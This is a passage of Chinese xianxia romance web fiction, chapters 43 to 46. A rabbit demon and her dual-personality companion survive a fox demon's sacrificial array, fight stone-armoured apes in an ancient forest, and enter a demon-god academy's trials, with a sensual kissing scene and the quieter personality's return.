“我不会添麻烦的,我会变得很小,一点也不硌。” “遇到危险也会马上跑。” “阿裴,好阿裴……” 聒噪的兔子,终于知道求求他的兔子,裴息尘耷拉的眼皮都舒爽地掀开,回应地于袖袍下捏住了玉扶的手,一股灵力顺着玉扶手心走向她筋脉穴位。 玉扶完全被牵引着,解了化形,“砰”的一下变回了兔子,眼见就要摔到地下,被裴息尘接住。 裴息尘当着众妖的面地,打包行李——他的小兔。 看着他往怀里给兔子调整位置的动作,单云霄不淡定了:“裴兄,要带着这” 他震惊得话都说不全乎,虽知晓裴息尘答应帮他前提就是带上他身边的小兔妖,可现下先行飞越火山探寻妖墓,挑出的皆是化神以上的妖修。 这把兔妖带上,倒不是认为裴息尘带不动,而是,这样一来,裴息尘能全心助他吗? 他提议:“此去危险,玉扶姑娘的修为,不若还是交由我这一众妖属照料。” “小兔粘人,离不开我。” 裴息尘直接拒绝,语气中听不出什么,容情却显出了几分炫耀。 “……” 单云霄沉默了,从起初的强大印象,到没有上进心的认知,再到现在拎不清的评价,都是他对裴息尘的日渐认识。 他不再多说什么地同意了裴息尘带上兔妖,心里也更认定,到时如有不测,可牺牲裴息尘,兔妖,便当成全他们死一起算了。 火山地动缓下时,几化神期妖修尽听单云霄调动,翱翔而起,裴息尘因非为鸟妖,倒省力地被其中一个化神期鸟妖不爽地载着。 但这里省力了,旁处就要多出力。 当众妖飞至火山不远处,便见火山蓬勃出来的熔浆与热气,完全阻碍了他们飞越,只能盘旋着,观察着。 裴息尘就是这样的时刻被要求落地,到火山四周查探查探的。 撑起的防御屏障,固然能抗住灼热,却也极耗费灵力。 且,就连玉扶都感觉出来了,这根本不是什么普通的火,地下的应当是地火,但山体上燃烧的,还能对化神期妖修也有压制的,许是,昔日妖神死后所化妖火。 终年不灭,还同地火相连,这才造成了这一路来奇异的黑石区。 玉扶很担心息尘,但她才不会自责。 她对裴息尘无疑是有认知的,他才不是什么不会反抗的小可怜,也更不会为了她就什么委曲求全,只会如同与单云霄要名额时一样,大打出手。 所以,他表现出的这份平静,尤让玉扶心痒痒。 就好像他分明知道什么,但就是可恶地不说。 偏她又不敢直接问。 最后只能体贴地表现一下:“阿裴你热不热?” “我有带水。” 裴息尘于火山的外缘散漫查行着,听到玉扶声音,饶有兴致地将她提溜出来放在肩上:“阿扶,你猜,还要过多久这几大妖族会遇上?” “为什么要遇上?”玉扶并不想三大妖族重新遇上,她看妖神古墟挺大的,各找各的机缘就挺好,打起来,万一被波及了呢。 裴息尘就像是读懂了她想法似的,嗤声:“笨兔子。” “哪有这么容易太平。” “等着罢,到时可千万要跟紧了我。” 玉扶不太听得懂,但也直觉会有事发生,当下,也没了对周遭的好奇,缩回裴息尘的怀中。 裴息尘在下方查看不久,重回鸟背,与单云霄分享查探的结果:“下方没有可通路径。” 众鹰族犹豫盘旋一阵,纷纷亮起最大的防御护罩,冲向火山。 跨过火山,往下俯视,峰连着峰,果然还是整片整片燃烧的山火,但随着不断深入,灼热感开始减缓,外圈的地动也不再影响内部。 继续跟同法器中妖王的那滴血所指飞行。 他们的视线里,出现了唯一一座没有燃烧的山,山体庞大,山巅覆雪,在大片的焦土中,显出不一样的神圣。 众妖心中,莫名地生出了朝圣之感。 恍惚间,似乎可见千百万年前,众妖朝圣的壮阔画面,而他们似乎也成了其中一员。 但很快的,从那座山中传来的动静,唤醒了他们的沉浸,他们感受到了旁的妖的气息,有狐族的,还有狼族的—— 单云霄尖唳一声,翅膀煽动,加快速度地直往一处俯冲。 远远的,可见从入了妖神古墟就分开的三大妖族,竟然又聚在了一处。 剑拔弩张,火药气一点也不输周遭的灼热。 众妖相互盯视各自法器,纷纷知晓了是怎么回事。 雪仙利用了他们,也欺骗了他们,妖神古墟确实存在,但妖墓的消息,她同时卖给了三族。 为的恐怕就是,利用他们打开了妖神古墟后,又想令他们三族相争,相互消耗。 可这聚得也太早了些,这才是第一日! 那死狐狸到底在盘算什么?当真是没死全?有什么后手? 单云霄心有戒备,但已到此地,无论有什么,还是要争上一争。 犹是他们对峙之时,裴息尘根本就没有带玉扶靠近,他就像早就料到这个结果一样,视线只锁定在狐族,倏地,瞳仁缩了缩。 只见狐族轻纱女子身后,一五尾狐妖极快地祭出一个阵盘,阵盘变大一瞬,各族法器毫无预警地飞出,被吸附住一般,现出妖神古墟开启时差不离的法阵。 但这绝不是传送离开的法阵—— 阵盘变动,法器移位,红光从法阵中直冲而上,而地上,所有妖惊奇地发现,法阵出现在了他们的脚下。 妖力从他们的身上流逝。 “不好,她在拿我们献祭!”有妖发现,惊呼出声。 雪漪离得最近,恼怒队伍中竟出现叛徒,五指成爪袭向五尾狐妖:“你是谁?法器还来!” 雪仙早有料定地笑笑,阵盘再动,她已出现在法阵之外。 所有的变故不过几个呼吸而已,妖神古墟淅淅沥沥地下起了雨。 玉扶从不详中感受到了山的气息,那座神圣庞大的山,似在苏醒。 山也是有“死”“活”之分的,像先才飞越的那些山,山中半点生灵活气也无,山体核心也死寂,可当下的这座山不同,虽也感不到活气,可山中核心却似只是沉睡。 法阵的动荡,大妖们的奋力争斗,仿佛都惊扰了山的沉眠。 它在苏醒,在动摇,在生气—— 玉扶提醒裴息尘:“阿裴,这座山要活过来了!” 裴息尘无空回话,只动手将玉扶更塞入怀中,身形化出巨大的蛇形虚影,攻向了法阵之外的雪仙,是的,那只没死的狐狸,果然又出现了,即便是换了个身体。 他唇角带着邪肆的笑,是定要再杀雪仙一次的狠厉。 不杀她,这妖神古墟再多的传承,都无法令人安心。 雪仙自是早在入妖神古墟之前,就发现了裴息尘的存在,她便知,她的少主人,无论是为了探究也好,还是为了变得更强,他是一定会来的。 此刻被发现,她并无惊讶地一面压下法阵,一面五尾张扬抵御,手中悄悄捏上了骨哨:“少主,何必这样绝情,我所为可皆是为你。” “妖神传承,你可为王!” “我替你将碍眼的除去,你何必拦我?” 裴息尘不为所动,巨蛇虚影继续压下。 雪仙不曾换身体时就不是裴息尘的对手,如今亦然,察觉稳定的阵法都被压迫得不稳,当下,不再犹豫,吹响骨哨。 裴息尘的攻击凝滞一霎,穿透骨膜的疼痛在往他的的脑子里钻,细密的,牵绊的,犹如骨血中生出的丝线,强缚着他做着不该他做出的决定。 然也就是这样一瞬的功夫,巨蛇虚影没有彻底压垮雪仙,而是,失控地撞碎山石,也令法阵有了一瞬的松动。 法阵内的大妖们,自是不甘成了献祭的养分,抓住这一瞬的松动,各种手段使出,本被大阵吸引的法器开始出现偏移。 眼见,局势将要扭转,法阵内的妖当中,竟又出现了叛徒,自杀似的阻挠,不令献祭中断。 裴息尘强忍脑中刺痛,唇畔冷意更甚,凶剑被祭出。 狐妖早就对裴息尘有了防备,身上的防御法器不知几多,便是裴息尘再如何强攻,也一时不能速战速决。 一时间,无论是法阵内部,还是法阵外部,打斗的发光就没有停歇过。 玉扶心中焦急,她自是参与不到大妖的打斗中,可对山的感应她是专业的,献祭没有成功,但山已经苏醒,远古磅礴的力量自山的中心荡出。 想是被他们的不敬给气醒的。 第44章 玉扶在确认山苏醒的一瞬, 当机立断,跳出了阿裴的怀里。 她变得很大,强行带着阿裴向前跑。 虽然, 还是被突然出现的白光吞进去了,可是, 她瞧见更多打得不知天地为何物的妖, 就像是被嫌弃了一般, 甩得飞过了她的眼前。 所以, 阿裴该谢谢她, 而不是趁机摸她的尾巴! 玉扶羞恼地用头将裴息尘顶远了一些,才化形为少女,她捂着自己的屁股, 脸蛋红扑扑的。 很是不开心地问:“你是不是早就知道他们找的是同一个妖墓?” “猜到的。”裴息尘一面回答玉扶, 一面打量周遭,脑内的刺痛仍令他神经紧绷,他不知晓狐妖用了什么手段,不过可以肯定的是, 杀了准没错。 狐妖是个威胁。 但, 现在的所在, 他并没有发现任何狐妖的气息,甚至,先前一同混战中旁的妖的气息也无。 高大的古树密成林, 全然不似先前不是沙漠就是焦石的所在,放出的神识, 唯能感到这里的灵气浓郁,还有—— 危险。 簌簌的响动,风带来的妖兽气息, 全都在警醒着他们。 玉扶神识虽没有息尘的强,但对待危险的本能,也足够她进行判断,她不再介意阿裴根本微不足道的隐瞒,贴近了他,声音都带着颤地问:“阿裴,我们这是到哪了?” “怎么这么多猿兽?” 不过片刻的功夫,他们被猿兽包围了。 或者说,猿兽们本就在此,而是他们落入了猿兽的地盘。 若是一般猿兽,玉扶不至于怕,裴息尘也不至于戒备,然,这些猿兽,身上散出的气势,修为皆不低,其中还不乏化神的。 按理,能达到化神实力的妖兽,就算不会化形,也该开智了,可这群猿兽并见不到半点智慧,只有对地盘被侵占的愤怒,发出的声音,刺耳且带着震动的声波。 裴息尘不愿被这群古怪的猿兽缠上,拉着玉扶欲遁空离开。 然,他顿住了。 空间之术竟无法在此地施展,恰是时,猿兽在怒吼威慑后,开始进入战斗模式,躯体变得犹如小山一样大,体表覆着的岩石变得赤红,四面八方地朝玉扶与息尘压来。 裴息尘拉着玉扶腾空而起,凶剑划过,只与猿兽发出碰撞的兵戈声,半点未曾损伤猿兽。 但这些反抗无疑惹怒了猿兽,更多的猿兽加入了战局。 音波与猿兽□□的攻击,带着摧毁整片密林的恐怖力量。 玉扶撑不住地变回兔子躲了起来,她也想帮阿裴,可是力量的差距,不拖后腿才是正经。 裴息尘一边躲避猿兽的攻击,一边观察它们的弱点,从稍弱的猿兽下手。 他发现,当锋锐剑意扫过猿兽体表岩石铠甲的缝隙内时,猿兽会更愤怒。 有弱点,那便好。 他无空与这些古怪猿兽多纠缠,招招都带着“杀了”的狠意。 同伴的倒下,猿兽越发愤怒,几只力量极强的化神妖兽,情绪激动地站立,捶胸间,似有无穷的地脉之力被汲取,伤势恢复,身躯变得更大,手臂变得更长,铠甲缝隙的流动着熔岩般的纹路。 更难对付了。 裴息尘不得不更频繁地躲避。 玉扶牢牢躲在他怀里,音波带来的眩晕缓和后,也开始想办法,施决利用无相石生出地刺,阻碍猿兽的追击。 这片林子也太古怪了,除了紧追不舍的猿兽,还有许多旁的强悍无比的异兽,不开智,但都极强。 就恍如回到了古妖神时期。 她听姥姥说过,古妖神时期,天地灵气浓郁,妖神为尊,普通兽类也得天独厚,力量强大。 可惜后来妖神大战,古妖皆覆灭,至于幸存的妖族,血脉一代代争斗稀释下来,也就成了如今的妖族。 玉扶并不稀罕古妖神时期妖族的强大,她生来就在秩序稳定的修界,妖与人,处于非常相当的状态,她觉得挺好。 但,此刻感受着这些没开智,偏又极强悍的妖兽追逐,玉扶恼极了,不长智慧,生得这么厉害做什么,不小心闯入而已,谈谈的机会都不给。 裴息尘见甩不开猿兽,便也专挑旁的异兽地盘跑,混战中压力减轻,但同样的,时会被新的妖兽缠上。 从入夜到白日,终于,他们摸到了密林的边缘。 最后紧跟他们的一只巨猿兽,裴息尘强力化出巨大的蛇形虚影,缠上去,绞紧,凶剑同时破开岩层穿胸而过,妖丹碎裂,地震一般的震动消失,未冷的妖兽鲜血,随着拔剑,喷溅而出。 明亮的日光投在他身上,盛美非凡的面庞虚弱且妖冶,瞥目间妖性流转,摄人至极。 密林之外岁数不大的妖修,纷纷后撤,议论随之起: “那是磐石巨猿?我记得这只群居在万兽母林中。” “天啊!他不会是从万兽母林杀出来的吧?” “什么怪物?能从那里面杀出来?莫不是假的。” “怎可能是假的,你我皆见着了,体大如山,肤覆岩甲,性狭易怒,怒时熔岩流身,敌不死不消,和书上记载得一模一样。” “不过考个妖神学宫,犯得着拼命?” “我等生来大妖,自是不用拼命,我瞧他骨龄不小了,身上血脉气息也不够纯,不会是故意跑到万兽母林的吧?” “即便这样,学宫也不见得会收他。” …… 裴息尘显然听到了他们的谈话,打量防备间,处理着稀少的信息,原来,他与玉扶起初所落之地,是个唤作万兽母林的地方,因凶险,才同外林的试炼之地有了区分,也因这种区分和防止万兽母林中的妖兽跑出,才有种种禁制,令他无法施展空间之术。 而这些嫌他年岁大的年轻妖修,是将他也误当做了考什么学宫的一员。 莫明的境地,奇怪的年轻妖修们,他们年轻,最年长,也不过百余岁,但个个身着不凡,修为也皆在化神往上。 这样的年龄达到此等修为境界,无论是在妖界还是人界,皆是极其少数的,裴息尘昔日已经算得上是异类,可与这些年轻妖修相比,就如他们口中所议那般,平庸的很。 他久久没有说话,按着怀中的玉扶,姿态瞧着松散,可衣料下的每一块肌肉,都绷出了可再一战的弧度。 玉扶感受得到息尘的警惕,她也暗自焦急,没有比她还知晓阿裴现下真实状态的了,密林中的妖兽都是变态,强得过分,阿裴根本再经不起同一群大妖们争斗。 听着靠近的妖修动静,玉扶的心跳极快,耳朵时时刻刻防备着一毫的动静,阿裴若实在撑不住的话,她也不是没有良心的兔子,她会努力带他跑的。 不过,很快,玉扶察觉到靠近的妖修没有找他们的麻烦,而是去查看死去的猿兽,而后,给了裴息尘一块玉牌。 温润的嗓音响起:“冒进不可取,下不为例。” 继而高声,似在同所有妖修在说话:“此关试炼就此了,入选者,同我入学宫待叩宫考核。” 声声应“是”中,各年轻妖修纷纷上了各自车驾坐骑。 裴息尘盯向走远的文雅妖修身影,摩挲手中玉牌,玉牌正反皆有字,古朴厚重,还莫名有些亲切。 他肯定,无论是息尘还是他,都不曾学过此等文字,可不知为何,他能认得,就如骨血传承般自然轻易地认出,玉牌正面“学宫”二字,背面单字一个“过”。 应是通过之意。 此处古怪可真不是一处两处,裴息尘略略抹去脸上的血迹,收起玉牌,抬眼看向从眼前行过的车队。 这些车驾拉车的妖兽,比之三大妖族都要豪横,车驾更是各有特色,但无一例外,都彰显着他们的强大与出身。 而在车驾往后,零星跟着些或负伤,或寒酸的妖修。 甫一对上眼,对方眼里如同见着同类一般热情,邀请:“可要一起?” 裴息尘没有拒绝,上了一辆独角犀牛拉的木板车,车上挤挤挨挨着不少妖修。 不一会,各妖修聊开了,有对裴息尘感到好奇的,也有大方分享自己伤药的…… 裴息尘从他们身上感受不到恶意,秉着多说多错,极少开口,但也渐从他们口中得知,所有行队中的妖修皆是为选入妖神学宫而来。 就在不久前,他们通过了第一关,而他是最后一个通关者。 此关,考察基本实力,可单独猎杀一化神妖兽即算过关。 尤其是前头那些年轻极了的妖修,都是各妖族推荐而来的,不但血脉上佳,潜力也无限,代步的车驾都令人生出无限渴望。 至于他们这些挤在一块的,是凭缘分收到“妖神帖”特来参加考核的。 所谓“妖神贴”,可能是一片鳞甲,也可能是一片羽毛,还或者是一块兽皮……总之皆是学宫特意散出,寻找的有缘者。 裴息尘恰是被当成了此类。 有妖修惊叹:“妖兄,你但凡再晚一点出来,可就错过了入选。” “不过,你当真是闯入了万兽母林?” “你有此等本事,不愁入不了学宫。” “我观你身负腾蛇血脉,怎没有举荐?” 对此,裴息尘用他那张迷惑人的脸全然接受了他们对他猜测——血脉不纯孤注一掷的大龄妖修。 甚至趁机拉出了玉扶,一只也血脉不纯,与他相依为命的兔妖。 惹得了一群同病相怜的妖修一个个吐露更多。 玉扶于一群大妖中间,半点不敢动,很快又躲入了阿裴的怀中。 不过,也从中知晓了,她是能跟同一起入学宫的,只要裴息尘能入选。 毕竟,那些有背景的妖修,哪个身边不带上一两个妖侍? 阿裴有意无意打探中,木板车也行的很慢,但并不怕跟不上前头的队伍,从第一关试炼开始,就已是学宫的范围,此地对飞行多有限制。 还未正式入选学宫的妖修皆在限制当中。 慢慢的,他们经过了一块巨大的石碑,上书“妖神学宫”四字,磅礴强大的力量从内溢出,众妖也开始变得肃穆,不再多言。 石碑往后,古朴山门,山门之后,只能瞧见非常多的山系,踏入山门,平和宁静的气息将他们团团裹住。 玉扶于宁和中,感应到了那座苏醒的山。 但又有点不同,似真非真,似假非假,好奇怪的感觉。 她还想感受,那种能捕捉到的感觉又倏地消失得无影无踪。 第45章 带队的文雅妖修, 将所有通过第一关的妖修安排了住处。 玉扶终于得以重新化形,同阿裴相谈。 “我感应到了将我们拉来此处的那座山。”玉扶问:“我们是不是被它拉入了幻境?” 裴息尘没有回应玉扶,他不适地揉额, 自与狐妖再次相战,他的头便一直刺疼, 又与各类妖兽缠斗一夜, 在入了妖神学宫后, 这里平和的气息, 并没有压下他的头疼, 反令他生出躁意,一股失控感油然而生。 他开始压不住识海深处的禁制。 抬目盯向玉扶一瞬,瞳孔显出凶狠妖性的竖瞳。 玉扶被吓到地后退。 裴息尘努力闭目, 压下焦躁。 一点轻微的移动在靠近, 玉扶抱住了他:“你一定是累了,才不小心凶我。” “我在这里,你可以靠着我睡。” “有危险我再喊你。” 比起阿裴,玉扶因为太弱, 倒一直被护得好好的, 即便阿裴方才凶她了一下, 玉扶觉得自己也不该介意。 她也确实没有介意,她只不过是本能地被吓到一下,现在就一点感觉都没有了, 她下移的手,一下一下地顺着他的发抚着他的脊背。 少女的拥抱软软的, 抚一下抚一下的动作更是轻柔的很,但这些仍旧没有克制住裴息尘的焦躁,此长彼消, 他的虚弱,另一个意识,开始挤占他的意识。 玉扶向下抚的手倏地被扯住,腰肢也被粗鲁地一带,落到了裴息尘的怀中,他的手,带着不容抗拒的力量锢着玉扶。 属于男性的,大妖的气息,压身而下,他忽视玉扶细微的害怕,唇似若有若无地擦过她的鼻尖,等到她不再抗拒了,舌尖一点一点地舔过她饱满的唇瓣,一股灵息随之渡过。 活的,会动的,还在变大,温柔缱绻地缠着玉扶的神魂小兔。 简直惊喜得不像话。 玉扶几乎要浸腻在这种温柔当中,可还是好奇怪,阿裴分明是该虚弱的,怎还这样大方? 良心与贪心相抗拒着,她眸中沁出迷茫的雾色。 终于,裴息尘停止了渡过灵息,他用轻柔的嗓音与玉扶道:“阿扶,这里不是幻境,我们许是被带入了昔日之境。” 玉扶不太懂昔日之境是什么,单就阿裴也难以应对的妖兽们来看,一定不会是简单昔日的留影。 她也不懂阿裴怎么亲着亲着就说起这些来了,不过,她被亲得实在舒服,那渡来的灵息小蛇,比以往的每一次都要乖,她几乎不用费什么力,就能将它吸收,化为自己的修为。 神魂小兔更是可见地大了一圈,彻底地将不断变小的灵息小蛇压在身下。 她迷迷糊糊地胡乱点了点头,视线紧紧跟着他张合的唇。 裴息尘的话还没说完:“这在里,你可以随意参与过去。” “阿扶,你不是想变强吗?昔日大妖们的授课,或可听听。” “旁的机缘,也尽可慢慢去寻。” 玉扶下意识地觉得不对,一下抓到关键地问:“你不陪我吗?” 阿裴不是还没考入学宫吗?怎么就跟交代要她独自去面对一样? 玉扶慌张地揪紧了裴息尘的衣襟。 裴息尘似被她的依赖取悦了,一边笑,一边不忘引诱她:“阿扶,为带你来此,我有些虚弱 你会等我的对不对?” 虚弱是为她吗? 玉扶脑子转得有些慢地思考。 好像是这样的,是她想变强,所以阿裴答应带她来妖神古墟,也所以会遇到很多妖兽的袭击…… 那,当然要等阿裴好起来。 玉扶认真点了头。 裴息尘唇线更弯成愉悦的弧度,昳丽妖孽的脸庞再次压下:“再让我亲亲你” 唇瓣碾着唇瓣,他的舌开始往玉扶的唇缝里探,引导道:“阿扶张开一点。” 他的声音,无端地让人煎熬,玉扶微喘一下,便被攻城略地,他简直大方的过分,更多灵息渡来,舌顶着舌,强迫着她吃下。 玉扶被他折腾得失了神,妖眸瞳仁都变了色,鲜润的唇张着,被强硬地,不容抗拒地吞入更多灵息,一旦有溢出的迹象,阿裴的舌便会连同她的哼哼声一同卷入再次往她喉间送。 她发了一层薄汗,透瓷一般的肌肤绯红无比,她呜呜咽咽地喘息,寻机求饶:“不要了阿裴,我不要了” “吃不下一点也不行了呜呜。” 她的神魂小兔已经膨胀到滚圆,再吃下去,灵息乱跑,她一定会控制不住自己的,她呜呜地摇头,甚至咬了阿裴一下。 终于裴息尘从埋头苦喂中停歇,黑色的眸子里,全然不见了懒散,取而代之的是欲将猎物吞吃殆尽的专注,他注视着玉扶,指尖撩开她的湿透的碎发:“阿扶,这次吃饱了?” “应很久不会想旁的人了罢。” 他并不是在问,而是肯定地给玉扶做判断:“嗯阿扶,回答我。” 沙哑而冷静的语气,甚至惩罚式地弹了弹玉扶唇,要她回答。 玉扶眼泪都还挂在腮畔,对他的恶意欺负,真是又气又不知道怎么办,她完全不敢指责他,总不能说他太大方,她吃撑了吧,那才是真吃撑了。 她张了张唇,想说些什么,一个饱嗝先从喉间溢出,继而像是打开了什么开关,一连串的小嗝要冒出来,她急忙捂住唇,睁得圆圆的眼睛愈发灵动。 裴息尘噗嗤笑了:“看来是真吃饱了。” 他真可恶,可是他笑起来,总坏坏的,诱人的,有种吸引得人面红耳赤的气质。 玉扶完全无法对他怎么样,气气地从他腿上起身,坐得离他老远,消化起得到的灵息。 许久,玉扶都没有被打扰,而这次的得到的灵息也确实过多,玉扶一时无法消化,只能储藏在神魂小兔当中。 她偷偷撩眼去观察阿裴,发现,他竟然靠着床柱睡着了。 她慢慢靠近了阿裴,在脚踏处坐下,抬手于他眼下挥了挥,没有动静,看来是真的很累了。 后知后觉的,玉扶想起他说的虚弱,还有在万兽母林中受的伤。 都怪阿裴,突然地亲她,她都忘记关心他的伤了。 玉扶并不想吵醒他,小心翼翼地捏起他宽大的袖摆,往里看,只有浅浅的伤痕,血都没有,愈合这么快的吗? 她是知晓有些大妖的皮甲鳞片异常强悍,伤愈能力也极强。 阿裴也是属于这种吗? 玉扶视线落在他的腰腹,要不要解开看看其他地方呢? 她在犹豫。 对待阿裴,他的没下限,总让她变得很谨慎。 渡情期的分明是她,可每每招架不住的也是她,他比她还妖精,一点也不可控。 在他的映衬下,她满脑子的知识,都显得纯良了。 玉扶一想起这些,气闷无比,好半晌都没有任何动作,只是静静地坐着,可是这样毫无威胁,毫无防备的大妖是极少见的,他总是慵慵懒懒的假寐,她稍有一些举动,他就会给出反应。 他是真睡着了。 玉扶再次肯定。 一睡一醒,静谧极了的相处,玉扶的谨慎开始变淡,她会想,万一其他地方的伤更重呢?就算阿裴恢复力强,没好之前,也是会痛的吧? 还会担忧,他会虚弱很久吗? 不然为何突然喂饱她? 她的手开始不受控地上攀,仰起的脸,仔细地观察阿裴睡着的容情,好平静,好柔和,闭上的眼,坏蛋的气质全不见了。 气息包容得就好像,可以随便对他做什么。 轻轻一掰,玉带钩松了,本就爱留点口的交领右衽霎时松散,清洁的小法术自是修复不了衣袍的破坏。 锋利的妖兽抓痕,肩部往下,清晰的几道衣料破口。 玉扶轻易就能看到他的伤在哪。 只要她伸手去拨一拨。 玉扶如是动了动,翻起的外袍露出了白色的衬底。 衬底也是破的,透过破口,可见的伤处,愈合了,只那疤痕还未消。 微微的浅肉1色凸起,与旁处完好的肌肤对比鲜明,刚伤的时候应是很疼的吧? 一丝玉扶也说不清的情绪漫过了心头,幽微的,不适的。 好像是心疼的感觉? 她的指腹并不敢触上去,而是撑着床沿,浅浅地对着阿裴的伤处吹了吹气。 不知是不是错觉,伤疤旁完好的肌肤,似乎变红了? 玉扶又吹了吹。 立即,肌肤连着筋骨有了动静,被玉扶拨开的外袍瞬地合上,他醒了。 玉扶并没有退开,抬起的眸子里倒映着裴息尘:“阿裴,你醒了。” “我没有想吵你,我只是想看看你的伤。” “你还会痛吗?” 玉扶的指尖隔着衣料,触上了那伤处,湖水一样清澈的眼睛,无声地继续说着她的担心。 她的美,是独属天真少女才有的清澈明亮,然,息尘已知了她的另一面,她清艳,大胆,与另一个他将破戒之事几乎做尽。 他也已知,原来,那一夜哭泣的她,是在想着他自、渎。 可是,息尘并无法怪阿扶,她是妖,天性罢了。 非要怪的话,反倒是另一个他,引诱了她。 是的,引诱,阿裴的所为,他有看在眼里,起初,意识被禁锢之时,他确是无法感应到外界的。 可后来,不知为何,禁制之中,竟开了一丝感应,他常能感应到阿裴做的出格之事,也能见他对玉扶的欺负。 他想过阻止,也想过冲破禁制。 然而,并做不到,他们本就是一体生出的不同意识,既排斥又相融,此消彼长,唯有一方弱,另一方才有机会出现。 阿扶,不该靠近他们的。 因阿裴的存在,息尘再见玉扶,实逃不开自责与羞愧,一时竟不知该如何同玉扶开口。 他的眼神好奇怪,玉扶开始忐忑,她觉得阿裴有点不像阿裴,阿裴的眼神才不会出现类似慈爱包容的神色。 这种感觉,更像是息尘。 果然,下一刻,她便听见了息尘柔柔的叹息:“阿扶,我不是他。” 第46章 一经确认, 玉扶蓦地慌张。 就恍若犯了错,被大人抓到的小孩一般无措。 在息尘慈和包容的目光中,玉扶脑中全是同阿裴的荒唐。 她并无法确定息尘会不会知道这些, 可她就是心虚的很。 息尘虽然经常很呆,还说些妖听不懂的话, 可对她是很好的, 他救了她, 给她改功法, 想办法带她去游仙会, 帮她变强…… 而她呢,在阿裴占了他的身躯,轻易就倒戈了, 甚至, 在阿裴的日渐大方中,早就忘了对息尘的承诺。 可当息尘出现时,她也并不想被息尘讨厌。 越想,早就压下去的愧疚感, 气泡一样地冒出来。 她蓦然大睁的眼眸中, 很快溢满了泪水, 嗓音也哭腔似的道歉:“息尘对不起……” “我一点也没有帮你。” “我没有灌他酒” 玉扶很认真地在反省,也很努力控制自己不要哭,可她就是忍不住, 反省啦,心虚啦, 脑子里一会是威胁她的阿裴,一会是对她失望的息尘,她控制不住地往坏的方向想, 会担心,息尘讨厌了她,也害怕,他又说什么你可以离开的话。 她不是个能藏得住想法的兔子,尤其是想得太多,这眼泪根本不听话,啪嗒啪嗒地落。 息尘从来没有过这样的感受,心都被揪了似的,阿扶只是一只小兔,她已然因他之过,承受很多,她不该还苛责自己的。 他伸手,并不多触碰地,只用指节拭去她眼下的泪:“阿扶,莫哭了。” “你很好,不是你的错,不必为没有帮上我而苛责自己。” “他” 息尘顿了一下,似在想该如何提及阿裴,那些全然出格的感知,他并不能完全撇开去,可若提及,又实无法再坦然面对阿扶,到嘴边的话,转来转去,最后只成了一句:“他是我之责。” 没头没脑的,玉扶不太理解。 不过,她总是很容易察觉到息尘的善意,也很容易原谅自己,她是妖嘛,妖都这样,她已经道歉了,是息尘不怪她没有帮上他的。 玉扶很快收了可怜兮兮的眼泪,与他确认地问:“那你不会赶我走的吧?” 似曾相识的问题,息尘叹息一声:“阿扶,我不会赶你走。” 玉扶终于放下心来。 不管是息尘还是阿裴,玉扶已经习惯了依赖他们,阿裴大方,息尘温柔,他们变来变去的,玉扶都要适应了。 只要不被赶走,她的渡情期对象,就还是稳稳的。 玉扶绽出笑,许是才哭过的缘故,颊靥上还飘着些许红晕,既娇美又楚楚可怜,不期地,息尘脑中闪过了许多不属于他的画面。 他狠狠闭了闭眼,落于储物袋角落的佛珠瞬地重新出现在他手中。 许久不见同副面孔下的佛修模样,玉扶稍愣了一下,才关心地问:“阿裴先前就不舒服的样子,息尘你是不是也有哪里不舒服?” 玉扶想着,息尘的筋骨没有大妖能抗伤,他们交换了,一定是伤口痛了。 她慌忙去翻能用的伤药,却被息尘制止了:“我无事。” 玉扶:“真的?” “真的。” 息尘温和回应玉扶,心中却止不住地惊骇,他发现,距离上次交换,他的身躯变化颇大,妖性的释放一直在改造着他的身躯,有不同于原先经络走向的副脉生出。 体内全然流转着两套不同体系的力量走向。 不管是妖还是人修,修行皆以吸纳天地灵气化为己用,可还会有灵兽、妖兽,妖力、灵力等区分,盖因对灵力运转的不同,像阿扶,她自有一套灵力的运转方式,而他之前一直用适应人修运转方法,往她身上渡送灵力,少了并无妨,可若多了,也是会引起冲突。 但二者,也不是没有共通点,只要寻到妖与人身上相互可取代的穴点,自可畅通。 现下,他体内不同走向的经络,便处于相互适应交汇的阶段。 当这些完全融成一系,那无论人还是妖的修炼方式,于他皆再无阻碍。 但比起这,更令他倏然明悟的是,原来玉扶当初的失控,或与他给她渡送的灵力有关。 一时间,对玉扶愧意更胜。 犹是他出神的功夫,玉扶一直在观察他,她微咬着下唇,瞳光时而怯时而为难,终于,还是藏不住想法地问:“息尘,你们交换后嗯是都清醒的吗?” 她实在不知道该如何描述,支支吾吾地才将话说全。 但息尘一瞬懂了玉扶在问什么,耳廓蓦地发热,于禁制中,他虽非时刻清醒,可当另一个意识情绪波动过大时,他总能清楚感知。 佛宗弟子,是不该说谎的,然则,若要与玉扶承认这点,他也并做不到。 “不是”一直清醒。 息尘终是只吐了两个字。 玉扶却呼了好大一口气,不是就好,不是就好,虽然经过了好几次他们的交换,玉扶有发现阿裴知道的有点多,可阿裴也是妖,本来就不知道羞耻,息尘不一样,圣洁,心肠又好,若是在阿裴支配身体时,息尘是醒着的话—— 一想到这种可能,玉扶就莫名羞耻得脚丫都发麻。 无疑的,息尘的回答给玉扶吃了一颗定心丸,浑身都自在不少。 眼见她又要发问,息尘并不想再继续这个话题,打断道:“阿扶,同我说说我们至此的遭遇罢。” 玉扶咽下了想问阿裴的意识如何,认真从入了妖神古墟开始说起。 间或息尘问,她便答。 息尘对此在意识禁锢时,也不是全然无感,不消片刻,即将所有厘清道:“此地确是昔日之境。” 第二次听到这个名词,玉扶忍不住问:“什么是昔日之境?真的不是幻境吗?” 玉扶对幻境是有阴影的,但也深有体悟,高级的幻境会令人根本意识不到处在幻境中,但当清楚自己身处幻境之时,那幻境的效用就会大打折扣。 玉扶无比肯定自己是清醒的,入妖神古墟后的每一细节都能回想起来,可即便这样,这里还是太奇怪了,遇到的妖兽、妖修,活得太真实了,真实得就好像她被拉入了另一个时空一般。 她趴坐着,面上满是想不明白的纠结,乌黑眼瞳望来全是亟待解答的渴求。 求知得乖巧,惹人怜。 息尘被自己的想法惊到,他似乎越来越无法将眼下的少女只当做小兔看待,她肌肤莹莹,长发又黑又软,没有姿态地趴在床沿,腰肢下陷,弯出柔软纤细的弧度,再往下,息尘别了眼,冷淡自制的声线几乎没有波澜: “昔日之境不属幻境,由生灵万物覆灭前所有念力汇成。” “古书记载,妖神为尊时期,曾有一座凝聚妖族的圣山,阿扶,你感受的山,或就是那圣山。” “你我落于此,许是因圣山苏醒,连同昔日覆灭的生灵执念一同重现了昔日之境。” 玉扶好像懂了地点点头:“意思是说,我们在这里遇到的每生灵,都是以往真实存在过的吗?” 